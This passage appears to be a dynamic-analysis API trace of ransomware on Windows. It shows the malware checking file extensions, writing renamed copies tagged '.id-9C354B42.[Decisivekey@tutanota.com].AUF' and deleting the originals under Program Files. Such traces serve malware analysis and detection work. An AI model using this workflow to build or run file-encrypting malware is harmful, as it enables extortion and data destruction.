lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0208.544] lstrlenW (lpString=".dbf") returned 4 [0208.544] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0208.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0208.545] lstrlenW (lpString=".1cd") returned 4 [0208.545] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0208.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0208.545] lstrlenW (lpString=".jpg") returned 4 [0208.545] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0208.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0208.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0208.545] lstrlenW (lpString=".doc") returned 4 [0208.545] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0208.545] lstrlenW (lpString=".docx") returned 5 [0208.545] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0208.545] lstrlenW (lpString=".pdf") returned 4 [0208.545] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0208.545] lstrlenW (lpString=".xls") returned 4 [0208.545] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0208.545] lstrlenW (lpString=".xlsx") returned 5 [0208.545] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0208.545] lstrlenW (lpString=".ppt") returned 4 [0208.545] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0208.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0208.545] lstrlenW (lpString=".zip") returned 4 [0208.545] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0208.545] lstrlenW (lpString=".rar") returned 4 [0208.545] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0208.545] lstrlenW (lpString=".bz2") returned 4 [0208.545] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0208.545] lstrlenW (lpString=".7z") returned 3 [0208.545] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0208.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0208.545] lstrlenW (lpString=".dbf") returned 4 [0208.545] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0208.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0208.545] lstrlenW (lpString=".1cd") returned 4 [0208.545] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0208.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0208.545] lstrlenW (lpString=".jpg") returned 4 [0208.545] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0208.545] lstrcmpiW (lpString1=".dat", lpString2=".AUF") returned 1 [0208.545] lstrlenW (lpString="hwrlatinlm.dat") returned 14 [0208.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0209.698] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1100368) returned 1 [0209.698] CloseHandle (hObject=0x1ec) returned 1 [0209.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0209.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0209.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0209.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0209.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0209.698] lstrlenW (lpString=".doc") returned 4 [0209.698] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0209.698] lstrlenW (lpString=".docx") returned 5 [0209.698] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0209.698] lstrlenW (lpString=".pdf") returned 4 [0209.698] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0209.698] lstrlenW (lpString=".xls") returned 4 [0209.698] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0209.698] lstrlenW (lpString=".xlsx") returned 5 [0209.698] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0209.698] lstrlenW (lpString=".ppt") returned 4 [0209.698] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0209.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0209.698] lstrlenW (lpString=".zip") returned 4 [0209.698] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0209.698] lstrlenW (lpString=".rar") returned 4 [0209.698] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0209.698] lstrlenW (lpString=".bz2") returned 4 [0209.698] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0209.698] lstrlenW (lpString=".7z") returned 3 [0209.699] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0209.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0209.699] lstrlenW (lpString=".dbf") returned 4 [0209.699] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0209.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0209.699] lstrlenW (lpString=".1cd") returned 4 [0209.699] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0209.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0209.699] lstrlenW (lpString=".jpg") returned 4 [0209.699] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0209.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0209.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0209.699] lstrlenW (lpString=".doc") returned 4 [0209.699] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0209.699] lstrlenW (lpString=".docx") returned 5 [0209.699] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0209.699] lstrlenW (lpString=".pdf") returned 4 [0209.699] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0209.699] lstrlenW (lpString=".xls") returned 4 [0209.699] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0209.699] lstrlenW (lpString=".xlsx") returned 5 [0209.699] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0209.699] lstrlenW (lpString=".ppt") returned 4 [0209.699] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0209.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0209.699] lstrlenW (lpString=".zip") returned 4 [0209.699] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0209.699] lstrlenW (lpString=".rar") returned 4 [0209.699] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0209.699] lstrlenW (lpString=".bz2") returned 4 [0209.699] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0209.699] lstrlenW (lpString=".7z") returned 3 [0209.699] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0209.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0209.699] lstrlenW (lpString=".dbf") returned 4 [0209.699] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0209.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0209.699] lstrlenW (lpString=".1cd") returned 4 [0209.699] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0209.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0209.699] lstrlenW (lpString=".jpg") returned 4 [0209.699] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0209.699] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0209.699] lstrlenW (lpString="AccessMUISet.XML") returned 16 [0209.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0209.753] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=819) returned 1 [0209.753] CloseHandle (hObject=0x200) returned 1 [0209.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0209.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0209.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0209.753] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0209.753] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0209.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0209.754] GetLastError () returned 0x0 [0209.754] ReadFile (in: hFile=0x200, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x333, lpOverlapped=0x0) returned 1 [0209.938] WriteFile (in: hFile=0x204, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x340, lpOverlapped=0x0) returned 1 [0209.939] ReadFile (in: hFile=0x200, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0209.939] WriteFile (in: hFile=0x204, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0209.939] SetEndOfFile (hFile=0x204) returned 1 [0209.939] CloseHandle (hObject=0x204) returned 1 [0209.940] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0209.940] SetEndOfFile (hFile=0x200) returned 1 [0209.940] CloseHandle (hObject=0x200) returned 1 [0209.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0209.940] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1 [0209.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0209.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0209.941] lstrlenW (lpString=".doc") returned 4 [0209.941] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.941] lstrlenW (lpString=".docx") returned 5 [0209.941] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0209.941] lstrlenW (lpString=".pdf") returned 4 [0209.941] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.941] lstrlenW (lpString=".xls") returned 4 [0209.941] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.941] lstrlenW (lpString=".xlsx") returned 5 [0209.941] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0209.941] lstrlenW (lpString=".ppt") returned 4 [0209.941] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0209.941] lstrlenW (lpString=".zip") returned 4 [0209.941] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.941] lstrlenW (lpString=".rar") returned 4 [0209.941] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.941] lstrlenW (lpString=".bz2") returned 4 [0209.941] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.941] lstrlenW (lpString=".7z") returned 3 [0209.941] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0209.941] lstrlenW (lpString=".dbf") returned 4 [0209.941] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0209.941] lstrlenW (lpString=".1cd") returned 4 [0209.941] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0209.941] lstrlenW (lpString=".jpg") returned 4 [0209.941] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0209.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0209.941] lstrlenW (lpString=".doc") returned 4 [0209.941] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.941] lstrlenW (lpString=".docx") returned 5 [0209.941] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0209.941] lstrlenW (lpString=".pdf") returned 4 [0209.941] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.941] lstrlenW (lpString=".xls") returned 4 [0209.941] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.941] lstrlenW (lpString=".xlsx") returned 5 [0209.941] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0209.942] lstrlenW (lpString=".ppt") returned 4 [0209.942] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0209.942] lstrlenW (lpString=".zip") returned 4 [0209.942] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.942] lstrlenW (lpString=".rar") returned 4 [0209.942] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.942] lstrlenW (lpString=".bz2") returned 4 [0209.942] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.942] lstrlenW (lpString=".7z") returned 3 [0209.942] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0209.942] lstrlenW (lpString=".dbf") returned 4 [0209.942] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0209.942] lstrlenW (lpString=".1cd") returned 4 [0209.942] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0209.942] lstrlenW (lpString=".jpg") returned 4 [0209.942] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.942] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0209.942] lstrlenW (lpString="BRANDING.XML") returned 12 [0209.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0209.986] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=596341) returned 1 [0209.986] CloseHandle (hObject=0x184) returned 1 [0209.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0209.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0209.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0209.986] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0209.986] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0209.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0209.986] GetLastError () returned 0x0 [0209.986] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x91975, lpOverlapped=0x0) returned 1 [0210.068] WriteFile (in: hFile=0x194, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x91980, lpOverlapped=0x0) returned 1 [0210.076] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0210.076] WriteFile (in: hFile=0x194, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0210.077] SetEndOfFile (hFile=0x194) returned 1 [0210.077] CloseHandle (hObject=0x194) returned 1 [0210.081] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0210.081] SetEndOfFile (hFile=0x184) returned 1 [0210.085] CloseHandle (hObject=0x184) returned 1 [0210.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0210.086] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1 [0210.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0210.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0210.514] lstrlenW (lpString=".doc") returned 4 [0210.514] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.514] lstrlenW (lpString=".docx") returned 5 [0210.514] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0210.514] lstrlenW (lpString=".pdf") returned 4 [0210.514] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.514] lstrlenW (lpString=".xls") returned 4 [0210.514] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.514] lstrlenW (lpString=".xlsx") returned 5 [0210.514] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0210.514] lstrlenW (lpString=".ppt") returned 4 [0210.514] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0210.514] lstrlenW (lpString=".zip") returned 4 [0210.514] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.514] lstrlenW (lpString=".rar") returned 4 [0210.514] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.514] lstrlenW (lpString=".bz2") returned 4 [0210.514] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.514] lstrlenW (lpString=".7z") returned 3 [0210.514] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0210.514] lstrlenW (lpString=".dbf") returned 4 [0210.514] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0210.514] lstrlenW (lpString=".1cd") returned 4 [0210.514] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0210.514] lstrlenW (lpString=".jpg") returned 4 [0210.514] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0210.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0210.514] lstrlenW (lpString=".doc") returned 4 [0210.514] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.514] lstrlenW (lpString=".docx") returned 5 [0210.514] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0210.514] lstrlenW (lpString=".pdf") returned 4 [0210.514] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.514] lstrlenW (lpString=".xls") returned 4 [0210.514] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.514] lstrlenW (lpString=".xlsx") returned 5 [0210.514] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0210.514] lstrlenW (lpString=".ppt") returned 4 [0210.514] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0210.514] lstrlenW (lpString=".zip") returned 4 [0210.514] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.514] lstrlenW (lpString=".rar") returned 4 [0210.514] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.514] lstrlenW (lpString=".bz2") returned 4 [0210.515] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.515] lstrlenW (lpString=".7z") returned 3 [0210.515] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.515] lstrlenW 